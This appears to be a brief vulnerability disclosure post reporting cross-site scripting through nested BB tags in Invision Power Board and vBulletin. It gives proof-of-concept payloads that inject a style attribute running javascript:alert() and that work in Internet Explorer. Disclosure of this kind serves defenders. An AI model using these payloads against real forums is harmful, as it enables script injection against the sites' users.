XSS in the nested BB tag in many forum

[pigrelax]

XSS was found in the nested BB tag in many forum:

Invision Power Board:
http://aaa.aa/=`aaa.jpg[/IMG]]`
style=background:url(javascript:alert())

vBulletin
mailto:assss@wew.ew]
sssssss[/URL] (http://rerer.rew]fffff[/color]'
style=background:url(javascript:alert());

Other forum and other BB tag may be vulnerable. Examples above work only in
Internet Explorer.

More info - http://www.securitylab.ru/51808.html and
antichat.ru/txt/IPB/index3.php